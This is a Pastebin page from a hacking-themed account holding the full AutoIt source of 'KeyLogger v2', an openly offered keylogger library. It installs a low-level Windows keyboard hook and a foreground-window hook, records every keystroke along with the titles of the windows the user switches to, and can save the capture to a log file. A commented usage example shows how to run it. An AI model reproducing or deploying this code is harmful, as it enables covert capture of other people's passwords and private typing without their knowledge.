Advertisement
AutoitHacks

KeyLogger v2

May 16th, 2012
6,100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 23.79 KB | None | 0 0
  1. #include-once
  2.  
  3. #cs ----------------------------------------------------------------------------
  4.     AutoIt Version: 3.3.9.4
  5.  
  6.     Author :         THAT1ANONYMOUSDUDE
  7.     Credits:         The Internet
  8.         Page:            www.autorepo.tk
  9.         Paste:           www.autoithacks.tk
  10.  
  11.     Script Function: Implement basic keylogging functionality.
  12.     Autoit KeyLogger UDF - AutoIt script.
  13. #ce ----------------------------------------------------------------------------
  14.  
  15. ; #INDEX# =======================================================================================================================
  16. ; Title ....................: KeyLogger v2
  17. ; Tested On AutoIt Version .: 3.3.8.1++
  18. ; Description ..............: Easy to use apparatus for implementation of key-processing in user scripts.
  19. ; Author(s) ................: THAT1ANONYMOUSDUDE - No relation to orginazation portrayed by media...
  20. ; ===============================================================================================================================
  21.  
  22. ; #VARIABLES# ===================================================================================================================
  23. Global $__KL_Hook
  24. Global $__KL_WinHook
  25. Global $__KL_KB_Hook
  26. Global $__KL_WinEvent_Hook
  27. Global $__KL_CapturedKeys
  28. Global $__KL_LogFile
  29. Global $__KL_User32
  30. ; ===============================================================================================================================
  31.  
  32. ; #CONSTANTS# ===================================================================================================================
  33. Global Const $__KL_Array_Virtual_Keys = _PopulateKeys()
  34. ; ===============================================================================================================================
  35.  
  36. ; #CURRENT# =====================================================================================================================
  37. ;_SetHooks
  38. ; ===============================================================================================================================
  39.  
  40. ; #INTERNAL_USE_ONLY# ===========================================================================================================
  41. ;_PopulateKeys
  42. ;_KeyProcess
  43. ;_WindowsEventProcess
  44. ;$__KL_Array_Virtual_Keys
  45. ;$__KL_Hook
  46. ;$__KL_WinHook
  47. ;$__KL_KB_Hook
  48. ;$__KL_WinEvent_Hook
  49. ;$__KL_CapturedKeys
  50. ;$__KL_LogFile
  51. ;$__KL_User32
  52. ; ===============================================================================================================================
  53.  
  54. ; #EXAMPLE USAGE# ===============================================================================================================
  55. ;~ ;#NoTrayIcon
  56. ;~ #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
  57. ;~ #AutoIt3Wrapper_Outfile_type=a3x
  58. ;~ #AutoIt3Wrapper_Compression=4
  59. ;~ #AutoIt3Wrapper_Res_Fileversion=2.0.0.0
  60. ;~ #AutoIt3Wrapper_AU3Check_Parameters=-d -w 1 -w 2 -w 3 -w 4 -w 6
  61. ;~ #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
  62. ;~ HotKeySet("{esc}", "_Exit")
  63. ;~ OnAutoItExitRegister("_Exit")
  64. ;~ _SetHooks(True,@DesktopDir & "\KeyLog.log")
  65. ;~ While Sleep(100)
  66. ;~  ToolTip($__KL_CapturedKeys)
  67. ;~ WEnd
  68. ;~ Func _Exit()
  69. ;~  _SetHooks()
  70. ;~  If $__KL_LogFile Then FileWrite($__KL_LogFile,$__KL_CapturedKeys)
  71. ;~  OnAutoItExitUnRegister("_Exit")
  72. ;~  Exit
  73. ;~ EndFunc
  74. ; ===============================================================================================================================
  75.  
  76. ; #FUNCTION# ====================================================================================================================
  77. ; Name ..........: _SetHooks
  78. ; Description ...: Starts the key capturing process by setting 2 different hooks, a keyboard hook and windows event hook.
  79. ; Syntax ........: _SetHooks([$Type = False[, $__KL_LogFilePath = False]])
  80. ; Parameters ....: $Type                - [optional]  Set this to true to start capturing keys. Default is False, which
  81. ;                                              disables any previously set hooks, you should call this function with
  82. ;                                              no parameters when you wish to stop the key capturing process.
  83. ;
  84. ;                  $__KL_LogFilePath         - [optional] A string path to the log file you would like to save the captured keys in.
  85. ;                                              Default is False, which will just save the captured keys to the $__KL_CapturedKeys
  86. ;                                              variable and let you handle / decide what to do with them there.
  87. ;
  88. ; Return values .: True if operation successful, false if error occured and error code code set to positive value.
  89. ;                      @Error -
  90. ;                            | 1 - Setting a dll call back to _KeyProcess function has failed.
  91. ;                            | 2 - Dllcall to GetModuleHandleW has failed. @extended set to dllcall @error return.
  92. ;                            | 3 - Dllcall to SetWindowsHookEx has failed. @extended set to dllcall @error return.
  93. ;                            | 4 - Setting a dll call back to _WindowsEventProcess function has failed.
  94. ;                            | 5 - DllCall to SetWinEventHook has failed. @extended set to dllcall @error return.
  95. ;
  96. ; Author ........: THAT1ANONYMOUSDUDE
  97. ; Modified ......:
  98. ; Remarks .......: To disable the hook process, call this function again with no parameters.
  99. ;                     If you passed a file name as the second parameter, all the captured keys and events will be saved to
  100. ;                     the file path you specified.
  101. ;
  102. ; Related .......: _WindowsEventProcess, _KeyProcess
  103. ; Link ..........: Forbidden by Jon
  104. ; Example .......: Yes, look above.
  105. ; ===============================================================================================================================
  106. Func _SetHooks($Type = False, $__KL_LogFilePath = 0x0)
  107.     Switch $Type
  108.         Case True
  109.             If $__KL_LogFilePath Then
  110.                 $__KL_LogFile = $__KL_LogFilePath; set path to log file
  111.             EndIf
  112.  
  113.             If Not ($__KL_User32) Then
  114.                 $__KL_User32 = DllOpen("User32.dll")
  115.             EndIf
  116.  
  117.             $__KL_KB_Hook = DllCallbackRegister("_KeyProcess", "long", "int;wparam;lparam")
  118.             If Not $__KL_KB_Hook Then Return SetError(1,0,False)
  119.             Local $aResult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", "ptr", 0)
  120.             If @error Then Return SetError(2, @error, False)
  121.             $aResult = DllCall($__KL_User32, "handle", "SetWindowsHookEx", _
  122.                     "int", 13, _ ; WH_KEYBOARD_LL
  123.                     "ptr", DllCallbackGetPtr($__KL_KB_Hook), _
  124.                     "handle", $aResult[0], _
  125.                     "dword", 0 _
  126.             )
  127.             If @error Then Return SetError(3, @error, False)
  128.             $__KL_Hook = $aResult[0]
  129.  
  130.             $__KL_WinEvent_Hook = DllCallbackRegister("_WindowsEventProcess", "none", "hwnd;int;hwnd;long;long;int;int")
  131.             If Not $__KL_WinEvent_Hook Then Return SetError(4,0,False)
  132.             $aResult = DllCall($__KL_User32, "hwnd", "SetWinEventHook", _
  133.                     "uint", 0x0003, _; EVENT_SYSTEM_FOREGROUND
  134.                     "uint", 0x0003, _; EVENT_SYSTEM_FOREGROUND
  135.                     "hwnd", 0, _
  136.                     "ptr", DllCallbackGetPtr($__KL_WinEvent_Hook), _
  137.                     "int", 0, _
  138.                     "int", 0, _
  139.                     "uint", BitOR(0x0, 0x2) _
  140.             )
  141.             If @error Then Return SetError(5, @error, False)
  142.             $__KL_WinHook = $aResult[0]
  143.  
  144.         Case False
  145.  
  146.             DllCall($__KL_User32, "bool", "UnhookWindowsHookEx", "handle", $__KL_Hook)
  147.             DllCallbackFree($__KL_KB_Hook)
  148.  
  149.             DllCall($__KL_User32, "int", "UnhookWinEvent", "hwnd", $__KL_WinHook)
  150.             DllCallbackFree($__KL_WinEvent_Hook)
  151.  
  152.             DllClose($__KL_User32)
  153.             $__KL_User32 = 0
  154.  
  155.     EndSwitch
  156.     Return SetError(0,0,True)
  157. EndFunc   ;==>_SetHooks
  158.  
  159. ; #INTERNAL_USE_ONLY# ===========================================================================================================
  160. ; Name ..........: _KeyProcess
  161. ; Description ...: Processes pressed keys and capturs them into a variable.
  162. ; Syntax ........: _KeyProcess($NCode, $WParam, $LParam)
  163. ; Parameters ....: $NCode               - DLLCallback parameter.
  164. ;                  $WParam              - DLLCallback parameter.
  165. ;                  $LParam              - DLLCallback parameter.
  166. ; Return values .: None
  167. ; Author ........: THAT1ANONYMOUSDUDE
  168. ; Modified ......:
  169. ; Remarks .......: None
  170. ; Related .......: _WindowsEventProcess
  171. ; Link ..........: Nope.txt.vbs
  172. ; Example .......: No
  173. ; ===============================================================================================================================
  174. Func _KeyProcess($NCode, $WParam, $LParam)
  175.     Local $aResult
  176.     ;ConsoleWrite($LParam & @CR)
  177.     If $NCode < 0 Then
  178.         $aResult = DllCall($__KL_User32, "lresult", "CallNextHookEx", "handle", $__KL_Hook, "int", $NCode, "wparam", $WParam, "lparam", $LParam)
  179.         If @error Then Return SetError(@error, @extended, -1)
  180.         Return $aResult[0]
  181.     EndIf
  182.  
  183.     Local $kcStruc = DllStructCreate("dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo", $LParam)
  184.     Local $scanCode = DllStructGetData($kcStruc, "scanCode")
  185.     Local $vkCode = DllStructGetData($kcStruc, "vkCode"); start converting key codes!
  186.  
  187.     Switch $WParam
  188.         Case 256
  189.             DllCall($__KL_User32, "long", "GetKeyState", "long", 0);This dll call in here is interesting, I don't know why but if I wouldn't have added it, keys would not appear in proper case ,:/ remove it and see what I mean!
  190.             If $__KL_Array_Virtual_Keys[$vkCode][1] Then
  191.                 Local $aRet = DllCall($__KL_User32, "int", "GetKeyNameText", _
  192.                     "int", BitOR(BitShift($scanCode,-16),BitShift(DllStructGetData($kcStruc,"flags"),-24)), _
  193.                     "str", "", _
  194.                     "int", 256 _
  195.                 )
  196.                 If StringLen($aRet[2]) > 1 Then $__KL_CapturedKeys &= "[" & $aRet[2] & "]"
  197.             EndIf
  198.  
  199.         Case Else
  200.             If $__KL_Array_Virtual_Keys[$vkCode][2] Then
  201.                 Local $KeyProcess = DllStructCreate("byte[256];Char")
  202.                 DllCall($__KL_User32, "int", "GetKeyboardState", "ptr", DllStructGetPtr($KeyProcess))
  203.                 If @error Then Return SetError(@error, 0, 0)
  204.                 DllCall($__KL_User32, "int", "ToAsciiEx", _
  205.                     "uint", $vkCode, _
  206.                     "uint", $scanCode, _
  207.                     "ptr", DllStructGetPtr($KeyProcess, 1), _
  208.                     "ptr", DllStructGetPtr($KeyProcess,2), _
  209.                     "uint", 0, _
  210.                     "hwnd", "" _
  211.                 )
  212.                 If Not @error Then $__KL_CapturedKeys &= DllStructGetData($KeyProcess, 2)
  213.             EndIf
  214.     EndSwitch
  215.  
  216.     $aResult = DllCall($__KL_User32, "lresult", "CallNextHookEx", "handle", $__KL_Hook, "int", $NCode, "wparam", $WParam, "lparam", $LParam)
  217.     If @error Then Return SetError(@error, @extended, -1)
  218.     Return $aResult[0]
  219. EndFunc   ;==>_KeyProcess
  220.  
  221. ; #INTERNAL_USE_ONLY# ===========================================================================================================
  222. ; Name ..........: _WindowsEventProcess
  223. ; Description ...: Handls windows events.
  224. ; Syntax ........: _WindowsEventProcess($__KL_Hook, $iEvent, $hWnd, $idObject, $idChild, $iEventThread, $iEventTime)
  225. ; Parameters ....: Parameters are passed by the call back process.
  226. ; Return values .: None
  227. ; Author ........: THAT1ANONYMOUSDUDE
  228. ; Modified ......:
  229. ; Remarks .......: This function will detect what window is recieving user input.
  230. ; Related .......: _KeyProcess
  231. ; Link ..........:
  232. ; Example .......: No
  233. ; ===============================================================================================================================
  234. Func _WindowsEventProcess($__KL_Hook, $iEvent, $hWnd, $idObject, $idChild, $iEventThread, $iEventTime)
  235.     If $iEvent <> 3 Then Return 0; if it's three, then user switched window fucus to something else, get its name...
  236.     $__KL_CapturedKeys &= @CRLF & @CRLF & "[" & WinGetTitle($hWnd) & "]" & @CRLF
  237.     Return 0
  238. EndFunc   ;==>_WindowsEventProcess
  239.  
  240. ; #INTERNAL_USE_ONLY# ===========================================================================================================
  241. ; Name ..........: _PopulateKeys
  242. ; Description ...: Populates a global array of settings for particular virtual keys.
  243. ; Syntax ........: _PopulateKeys()
  244. ; Parameters ....: None
  245. ; Return values .: 3D Array
  246. ; Author ........: THAT1ANONYMOUSDUDE
  247. ; Modified ......:
  248. ; Remarks .......: You may be asking yourself why I'm using this huge 3d array here
  249. ;                   to put it simply, it works very very fast in comparison to any other
  250. ;                   method that I am aware of in AutoIt, so all I've got to do here is
  251. ;                   access an array index via virtual key code and check to see what
  252. ;                   has to be done depending on the value of the 2nd or 3rd dimension
  253. ;                   of the array. In the first dimension of the array you will notice
  254. ;                   that there are only names of some action keys, these are only there
  255. ;                   to help you identify what is what when a virtual key code is passed
  256. ;                   to the array for access to the 2nd or 3rd dimension index in the array.
  257. ;                   If you want to also detect left or right shift key presses, then tuff
  258. ;                   luck, I changed the code for reasons unknown but it's pretty damn easy
  259. ;                   to detect them if you know what you're doing. Hint, it's easily done
  260. ;                   tracking them in key down time.
  261. ;
  262. ; Related .......: None
  263. ; Link ..........: No
  264. ; Example .......: No
  265. ; ===============================================================================================================================
  266. Func _PopulateKeys()
  267.     Local $aVK[223][3] = _;     Key Up      Key Down            DEC             HEX
  268.     [ _
  269.             ["",                    False   ,   True], _        ;   0           00000000
  270.             ["",                    False   ,   True], _        ;   1           00000001
  271.             ["",                    False   ,   True], _        ;   2           00000002
  272.             ["",                    False   ,   True], _        ;   3           00000003
  273.             ["",                    False   ,   True], _        ;   4           00000004
  274.             ["",                    False   ,   True], _        ;   5           00000005
  275.             ["",                    False   ,   True], _        ;   6           00000006
  276.             ["",                    False   ,   True], _        ;   7           00000007
  277.             ["[BACK SPACE]",        True    ,   False], _       ;   8           00000008
  278.             ["[TAB]",               True    ,   False], _       ;   9           00000009
  279.             ["",                    False   ,   True], _        ;   10          0000000A
  280.             ["",                    False   ,   True], _        ;   11          0000000B
  281.             ["[CLEAR]",             True    ,   False], _       ;   12          0000000C
  282.             ["[ENTER]",             True    ,   False], _       ;   13          0000000D
  283.             ["",                    False   ,   True], _        ;   14          0000000E
  284.             ["",                    False   ,   True], _        ;   15          0000000F
  285.             ["[SHIFT]",             True    ,   False], _       ;   16          00000010
  286.             ["[CTRL]",              True    ,   False], _       ;   17          00000011
  287.             ["[ALT]",               True    ,   False], _       ;   18          00000012
  288.             ["[PAUSE]",             True    ,   False], _       ;   19          00000013
  289.             ["[CAPS LOCK]",         True    ,   False], _       ;   20          00000014
  290.             ["",                    False   ,   True], _        ;   21          00000015
  291.             ["",                    False   ,   True], _        ;   22          00000016
  292.             ["",                    False   ,   True], _        ;   23          00000017
  293.             ["",                    False   ,   True], _        ;   24          00000018
  294.             ["",                    False   ,   True], _        ;   25          00000019
  295.             ["",                    False   ,   True], _        ;   26          0000001A
  296.             ["[ESC]",               True    ,   False], _       ;   27          0000001B
  297.             ["",                    False   ,   True], _        ;   28          0000001C
  298.             ["",                    False   ,   True], _        ;   29          0000001D
  299.             ["",                    False   ,   True], _        ;   30          0000001E
  300.             ["",                    False   ,   True], _        ;   31          0000001F
  301.             ["[SPACE]",             False   ,   True], _        ;   32          00000020
  302.             ["[PAGE UP]",           True    ,   False], _       ;   33          00000021
  303.             ['[PAGE DOWN]',         True    ,   False], _       ;   34          00000022
  304.             ["[END]",               True    ,   False], _       ;   35          00000023
  305.             ["[HOME]",              True    ,   False], _       ;   36          00000024
  306.             ["[LEFT ARROW]",        True    ,   False], _       ;   37          00000025
  307.             ["[UP ARROW]",          True    ,   False], _       ;   38          00000026
  308.             ["[RIGHT ARROW]",       True    ,   False], _       ;   39          00000027
  309.             ["[DOWN ARROW]",        True    ,   False], _       ;   40          00000028
  310.             ["",                    False   ,   True], _        ;   41          00000029
  311.             ["",                    False   ,   True], _        ;   42          0000002A
  312.             ["",                    False   ,   True], _        ;   43          0000002B
  313.             ["[PRINT-SCREEN]",      True    ,   False], _       ;   44          0000002C
  314.             ["[INSERT]",            True    ,   False], _       ;   45          0000002D
  315.             ["[DELETE]",            True    ,   False], _       ;   46          0000002E
  316.             ["",                    False   ,   True], _        ;   47          0000002F
  317.             ["",                    False   ,   True], _        ;   48          00000030
  318.             ["",                    False   ,   True], _        ;   49          00000031
  319.             ["",                    False   ,   True], _        ;   50          00000032
  320.             ["",                    False   ,   True], _        ;   51          00000033
  321.             ["",                    False   ,   True], _        ;   52          00000034
  322.             ["",                    False   ,   True], _        ;   53          00000035
  323.             ["",                    False   ,   True], _        ;   54          00000036
  324.             ["",                    False   ,   True], _        ;   55          00000037
  325.             ["",                    False   ,   True], _        ;   56          00000038
  326.             ["",                    False   ,   True], _        ;   57          00000039
  327.             ["",                    False   ,   True], _        ;   58          0000003A
  328.             ["",                    False   ,   True], _        ;   59          0000003B
  329.             ["",                    False   ,   True], _        ;   60          0000003C
  330.             ["",                    False   ,   True], _        ;   61          0000003D
  331.             ["",                    False   ,   True], _        ;   62          0000003E
  332.             ["",                    False   ,   True], _        ;   63          0000003F
  333.             ["",                    False   ,   True], _        ;   64          00000040
  334.             ["",                    False   ,   True], _        ;   65          00000041
  335.             ["",                    False   ,   True], _        ;   66          00000042
  336.             ["",                    False   ,   True], _        ;   67          00000043
  337.             ["",                    False   ,   True], _        ;   68          00000044
  338.             ["",                    False   ,   True], _        ;   69          00000045
  339.             ["",                    False   ,   True], _        ;   70          00000046
  340.             ["",                    False   ,   True], _        ;   71          00000047
  341.             ["",                    False   ,   True], _        ;   72          00000048
  342.             ["",                    False   ,   True], _        ;   73          00000049
  343.             ["",                    False   ,   True], _        ;   74          0000004A
  344.             ["",                    False   ,   True], _        ;   75          0000004B
  345.             ["",                    False   ,   True], _        ;   76          0000004C
  346.             ["",                    False   ,   True], _        ;   77          0000004D
  347.             ["",                    False   ,   True], _        ;   78          0000004E
  348.             ["",                    False   ,   True], _        ;   79          0000004F
  349.             ["",                    False   ,   True], _        ;   80          00000050
  350.             ["",                    False   ,   True], _        ;   81          00000051
  351.             ["",                    False   ,   True], _        ;   82          00000052
  352.             ["",                    False   ,   True], _        ;   83          00000053
  353.             ["",                    False   ,   True], _        ;   84          00000054
  354.             ["",                    False   ,   True], _        ;   85          00000055
  355.             ["",                    False   ,   True], _        ;   86          00000056
  356.             ["",                    False   ,   True], _        ;   87          00000057
  357.             ["",                    False   ,   True], _        ;   88          00000058
  358.             ["",                    False   ,   True], _        ;   89          00000059
  359.             ["",                    False   ,   True], _        ;   90          0000005A
  360.             ["[L-WINDOWS KEY]",     True    ,   False], _       ;   91          0000005B
  361.             ["[R-WINDOWS KEY]",     True    ,   False], _       ;   92          0000005C
  362.             ["[APP-KEY]",           True    ,   False], _       ;   93          0000005D
  363.             ["",                    False   ,   True], _        ;   94          0000005E
  364.             ["",                    False   ,   True], _        ;   95          0000005F
  365.             ["",                    False   ,   True], _        ;   96          00000060
  366.             ["",                    False   ,   True], _        ;   97          00000061
  367.             ["",                    False   ,   True], _        ;   98          00000062
  368.             ["",                    False   ,   True], _        ;   99          00000063
  369.             ["",                    False   ,   True], _        ;   100         00000064
  370.             ["",                    False   ,   True], _        ;   101         00000065
  371.             ["",                    False   ,   True], _        ;   102         00000066
  372.             ["",                    False   ,   True], _        ;   103         00000067
  373.             ["",                    False   ,   True], _        ;   104         00000068
  374.             ["",                    False   ,   True], _        ;   105         00000069
  375.             ["",                    False   ,   True], _        ;   106         0000006A
  376.             ["",                    False   ,   True], _        ;   107         0000006B
  377.             ["",                    False   ,   True], _        ;   108         0000006C
  378.             ["",                    False   ,   True], _        ;   109         0000006D
  379.             ["",                    False   ,   True], _        ;   110         0000006E
  380.             ["",                    False   ,   True], _        ;   111         0000006F
  381.             ["[F1]",                True    ,   False], _       ;   112         00000070
  382.             ["[F2]",                True    ,   False], _       ;   113         00000071
  383.             ["[F3]",                True    ,   False], _       ;   114         00000072
  384.             ["[F4]",                True    ,   False], _       ;   115         00000073
  385.             ["[F5]",                True    ,   False], _       ;   116         00000074
  386.             ["[F6]",                True    ,   False], _       ;   117         00000075
  387.             ["[F7]",                True    ,   False], _       ;   118         00000076
  388.             ["[F8]",                True    ,   False], _       ;   119         00000077
  389.             ["[F9]",                True    ,   False], _       ;   120         00000078
  390.             ["[F10]",               True    ,   False], _       ;   121         00000079
  391.             ["[F11]",               True    ,   False], _       ;   122         0000007A
  392.             ["[F12]",               True    ,   False], _       ;   123         0000007B
  393.             ["",                    False   ,   True], _        ;   124         0000007C
  394.             ["",                    False   ,   True], _        ;   125         0000007D
  395.             ["",                    False   ,   True], _        ;   126         0000007E
  396.             ["",                    False   ,   True], _        ;   127         0000007F
  397.             ["",                    False   ,   True], _        ;   128         00000080
  398.             ["",                    False   ,   True], _        ;   129         00000081
  399.             ["",                    False   ,   True], _        ;   130         00000082
  400.             ["",                    False   ,   True], _        ;   131         00000083
  401.             ["",                    False   ,   True], _        ;   132         00000084
  402.             ["",                    False   ,   True], _        ;   133         00000085
  403.             ["",                    False   ,   True], _        ;   134         00000086
  404.             ["",                    False   ,   True], _        ;   135         00000087
  405.             ["",                    False   ,   True], _        ;   136         00000088
  406.             ["",                    False   ,   True], _        ;   137         00000089
  407.             ["",                    False   ,   True], _        ;   138         0000008A
  408.             ["",                    False   ,   True], _        ;   139         0000008B
  409.             ["",                    False   ,   True], _        ;   140         0000008C
  410.             ["",                    False   ,   True], _        ;   141         0000008D
  411.             ["",                    False   ,   True], _        ;   142         0000008E
  412.             ["",                    False   ,   True], _        ;   143         0000008F
  413.             ["[NUM-LOCK]",          True    ,   False], _       ;   144         00000090
  414.             ["[SCROLL LOCK]",       True    ,   False], _       ;   145         00000091
  415.             ["",                    False   ,   True], _        ;   146         00000092
  416.             ["",                    False   ,   True], _        ;   147         00000093
  417.             ["",                    False   ,   True], _        ;   148         00000094
  418.             ["",                    False   ,   True], _        ;   149         00000095
  419.             ["",                    False   ,   True], _        ;   150         00000096
  420.             ["",                    False   ,   True], _        ;   151         00000097
  421.             ["",                    False   ,   True], _        ;   152         00000098
  422.             ["",                    False   ,   True], _        ;   153         00000099
  423.             ["",                    False   ,   True], _        ;   154         0000009A
  424.             ["",                    False   ,   True], _        ;   155         0000009B
  425.             ["",                    False   ,   True], _        ;   156         0000009C
  426.             ["",                    False   ,   True], _        ;   157         0000009D
  427.             ["",                    False   ,   True], _        ;   158         0000009E
  428.             ["",                    False   ,   True], _        ;   159         0000009F
  429.             ["[L-SHIFT]",           True    ,   False], _       ;   160         000000A0
  430.             ["[R-SHIFT]",           True    ,   False], _       ;   161         000000A1
  431.             ["[L-CTRL]",            True    ,   False], _       ;   162         000000A2
  432.             ["[R-CTRL]",            True    ,   False], _       ;   163         000000A3
  433.             ["[L-ALT]",             True    ,   False], _       ;   164         000000A4
  434.             ["[R-ALT]",             True    ,   False], _       ;   165         000000A5
  435.             ["",                    False   ,   True], _        ;   166         000000A6
  436.             ["",                    False   ,   True], _        ;   167         000000A7
  437.             ["",                    False   ,   True], _        ;   168         000000A8
  438.             ["",                    False   ,   True], _        ;   169         000000A9
  439.             ["",                    False   ,   True], _        ;   170         000000AA
  440.             ["",                    False   ,   True], _        ;   171         000000AB
  441.             ["",                    False   ,   True], _        ;   172         000000AC
  442.             ["",                    False   ,   True], _        ;   173         000000AD
  443.             ["",                    False   ,   True], _        ;   174         000000AE
  444.             ["",                    False   ,   True], _        ;   175         000000AF
  445.             ["",                    False   ,   True], _        ;   176         000000B0
  446.             ["",                    False   ,   True], _        ;   177         000000B1
  447.             ["",                    False   ,   True], _        ;   178         000000B2
  448.             ["",                    False   ,   True], _        ;   179         000000B3
  449.             ["",                    False   ,   True], _        ;   180         000000B4
  450.             ["",                    False   ,   True], _        ;   181         000000B5
  451.             ["",                    False   ,   True], _        ;   182         000000B6
  452.             ["",                    False   ,   True], _        ;   183         000000B7
  453.             ["",                    False   ,   True], _        ;   184         000000B8
  454.             ["",                    False   ,   True], _        ;   185         000000B9
  455.             ["",                    False   ,   True], _        ;   186         000000BA
  456.             ["",                    False   ,   True], _        ;   187         000000BB
  457.             ["",                    False   ,   True], _        ;   188         000000BC
  458.             ["",                    False   ,   True], _        ;   189         000000BD
  459.             ["",                    False   ,   True], _        ;   190         000000BE
  460.             ["",                    False   ,   True], _        ;   191         000000BF
  461.             ["",                    False   ,   True], _        ;   192         000000C0
  462.             ["",                    False   ,   True], _        ;   193         000000C1
  463.             ["",                    False   ,   True], _        ;   194         000000C2
  464.             ["",                    False   ,   True], _        ;   195         000000C3
  465.             ["",                    False   ,   True], _        ;   196         000000C4
  466.             ["",                    False   ,   True], _        ;   197         000000C5
  467.             ["",                    False   ,   True], _        ;   198         000000C6
  468.             ["",                    False   ,   True], _        ;   199         000000C7
  469.             ["",                    False   ,   True], _        ;   200         000000C8
  470.             ["",                    False   ,   True], _        ;   201         000000C9
  471.             ["",                    False   ,   True], _        ;   202         000000CA
  472.             ["",                    False   ,   True], _        ;   203         000000CB
  473.             ["",                    False   ,   True], _        ;   204         000000CC
  474.             ["",                    False   ,   True], _        ;   205         000000CD
  475.             ["",                    False   ,   True], _        ;   206         000000CE
  476.             ["",                    False   ,   True], _        ;   207         000000CF
  477.             ["",                    False   ,   True], _        ;   208         000000D0
  478.             ["",                    False   ,   True], _        ;   209         000000D1
  479.             ["",                    False   ,   True], _        ;   210         000000D2
  480.             ["",                    False   ,   True], _        ;   211         000000D3
  481.             ["",                    False   ,   True], _        ;   212         000000D4
  482.             ["",                    False   ,   True], _        ;   213         000000D5
  483.             ["",                    False   ,   True], _        ;   214         000000D6
  484.             ["",                    False   ,   True], _        ;   215         000000D7
  485.             ["",                    False   ,   True], _        ;   216         000000D8
  486.             ["",                    False   ,   True], _        ;   217         000000D9
  487.             ["",                    False   ,   True], _        ;   218         000000DA
  488.             ["",                    False   ,   True], _        ;   219         000000DB
  489.             ["",                    False   ,   True], _        ;   220         000000DC
  490.             ["",                    False   ,   True], _        ;   221         000000DD
  491.             ["",                    False   ,   True] _         ;   222         000000DE
  492.     ]
  493.     Return $aVK
  494. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement